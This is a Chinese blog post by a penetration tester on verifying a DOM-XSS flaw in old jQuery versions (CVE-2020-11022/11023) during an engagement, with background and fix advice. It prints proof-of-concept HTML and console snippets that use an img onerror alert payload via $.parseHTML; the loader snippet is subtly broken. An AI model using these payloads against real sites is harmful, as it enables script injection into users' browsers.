jQuery 低版本 DOM-XSS 漏洞

(我猜应该没什么人看,所以我就这么一写,大佬们就这么一看trollface )

起因是源于一次渗透过程中,扫目录404太多扫不出来,弱口令也没有,api测试我还不到家,所以又回头扫了一下端口和指纹,端口因为敏感信息太多,就不放出来了,指纹发现是java+jquery

image.png

见到jquery时我想试试文件上传(之前看到过1.7.x版本有个文件上传漏洞),在问过甲方霸霸后不允许插入数据和文件,所以放弃😭。

之后再翻阅资料时发现低版本的jquery存在着xss漏洞,所以就抱着试一试的心态去研究了一下,github上存在的poc试了一下

github项目地址:https://github.com/mahp/jQuery-with-XSS(在csdn上看到有大佬直接贴出源码,不知是否是本人,所以我这里只写github地址了)

源码太多,我这里只选择关键部分,其他的已省略号代替

<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Jquery XSS</title> <script type="text/javascript" src="http://url/jquery-1.8.2.min.js"></script> #这里改成自己的目标地址 <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.9.1/jquery.js"></script> --> <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.11.1/jquery.js"></script> --> <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.12.1/jquery.js"></script> --> <script> $(function () { // #9521 // #11290 $(location.hash); // #11974 $('#bug').on('click', function () { $.parseHTML("<img src='z' onerror='alert(\"bug-11974\")'>"); return false; }); }) </script> ...... </body> </html>

代码啥作用我就不说了(绝对不是因为我除了onerror里的其他都看不懂),打开poc是这样的

image.png

改完目标地址后再打开点击下面那个11974会发现出现弹窗

image.png

漏洞验证完成,但因为某些原因,报告里不让体现poc,所以继续研究如何手工让其弹窗。首先就想到了浏览器开发者工具中控制台可以调试js代码,但如何利用控制台动态加载jquery因为我没怎么碰过jquery所以不太清楚代码。(后来知道了代码的我发现自己有点清澈的愚蠢😂 )

代码不多,就几行,首先是加载jquery

var script = document.creatElement('script');

script.src = "你发现的jquery-min.js路径"

document.head.append("script");

image.png

这两行代码执行后jquery就动态加载好了,之后在输入payload

$.parseHTML("<img src='z' onerror='alert(\"1111111\")'>");

image.png

哎嘿,弹窗出现了。至此漏洞验证结束,写报告去。

其实这次有点取巧了,有些文章里说这样验证存在一些问题,不大靠谱,不过我java比较弱,而且jquery接触的很少,所以如果有大佬懂的话烦请指点小子一二。

如果有需要的话直接poc验证即可,无需手动加载验证。(反正效果都一样)

该漏洞影响范围为3.4.0版本之前。但因为jquery的版本规则我没弄懂,如果有大佬知道明确的影响范围欢迎指正。

此致,敬礼∠(°ゝ°)

PS.补充一下知识点

1.DOM-XSS(摘自https://blog.csdn.net/weixin_59047731/article/details/134532867)

DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。HTML的标签都是节点,而这些节点组成了DOM的整体结构——节点树。通过HTML DOM,树中的所有结点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。

在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个项级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。

2.jquery(摘自百度百科)

jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。jQuery设计的宗旨是“write Less,Do More”,即倡导写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。jQuery的核心特性可以总结为:具有独特的链式语法和短小清晰的多功能接口;具有高效灵活的CSS选择器,并且可对CSS选择器进行扩展;拥有便捷的插件扩展机制和丰富的插件。jQuery兼容各种主流浏览器,如IE 6.0+、FF1.5+、Safari 2.0+、Opera 9.0+等。


更新 2024.07.09

昨天晚上科学上网了一下,翻了翻论坛,找到了一个相关的编号漏洞(CVE-2020-11022/CVE-2020-11023),危险等级为中。

影响范围也说得比较明确,JQuery版本大于等于1.2 ,小于 3.5.0。这个漏洞是20年的,不过鉴于用旧不用新的优秀传统,这个漏洞还是能用某些资产搜索工具或网站发现。

修复建议(摘自https://blog.csdn.net/qq_61872115/article/details/134142487)

修复建议这个纯纯是我懒,不想自己写了,就借鉴了csdn大佬的,感觉就算我写了也没他写得好。

  • 更新 jQuery 到 3.5.0 或更高版本
  • 关闭不必要的目录访问权限,如Scripts目录,仅开放提供服务的目录
  • 过滤输入的数据,对例如:“ ‘ ”,“ “ ”,” < “,” > “,” on* “,script、iframe等危险字符进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。

此致,敬礼∠(°ゝ°) 今天希望能多一些弱口令,不然啥漏洞都翻不着纯纯坐大牢。

上一篇
7/8 可以算得上是极限了
汉兜 920 9/10 ️️️️ 🟡️️🟡 ️️🟡🟠 ️️️️ ️️🟡️ 🟠🟡️️ ️️️🟠 🟠🟠🟠🟠 🟩🟩🟩🟩 handle.antfu.me
下一篇
我来摸鱼辣!
一个不善言辞的新人前端 ,请多关照! Document
时间排序
新人报道啦啦啦啦 新人报道露头(找水友) 这才是中国喜剧该有的样子 报道了 我来摸鱼辣! jQuery 低版本 DOM-XSS 漏洞 7/8 可以算得上是极限了 叔叔阿姨们大家好,我来和你们见面啦! 壁纸分享 - 加油靓仔 时隔多日 摸鱼周报 20240701-20240706
上一篇
新人报道,咸鱼一条
一个没有任何梦想的咸鱼网安从业者,只想摸鱼,不想干活, 如果有大佬不嫌弃腿上多一个挂件的话,我可以一直当挂件。
下一篇
哇,无话可说
我知道随机事件离谱,但能这么离谱吗 因为一句靓仔就被骗去传销了,不是,接受情绪价值的点这么低吗 [图片] 各位大佬,反诈APP安排一手吧。
当前作者
有趣的 APP 啊哈,我抱着一个有意思的逆向题回来了 Nginx 配置错误导致的漏洞 哇,无话可说 jQuery 低版本 DOM-XSS 漏洞 新人报道,咸鱼一条
上一篇
我来摸鱼辣!
一个不善言辞的新人前端 ,请多关照! Document
下一篇
【复刻 2.4 寸 miyoo 掌机】打印 PCB
说明 之前做了一个3.2寸的miyoo掌机,感觉diy也没有想象中的那么难,正好这些天又有些时间了,我想着就做一个2.4寸的miyoo掌机吧,正好把制作过程也拿来水贴了。 十分感谢开源项目的各个大佬们,开源项目地址:https://oshwhub.com/sunnygold/2.4cun-Miyoo ....
热门排序
打了鸡血的 2024(bushi) 2024 年年终总结 环海南东线骑行实记 从井水到自来水,14 亿人的喝水问题是如何解决的? 我来摸鱼辣! jQuery 低版本 DOM-XSS 漏洞 【复刻 2.4 寸 miyoo 掌机】打印 PCB 新人报到 ~dragon 古今墨客兼骚客,推许黄山甲众山。 【猫眼】2024 烟台出差 G of the year 2023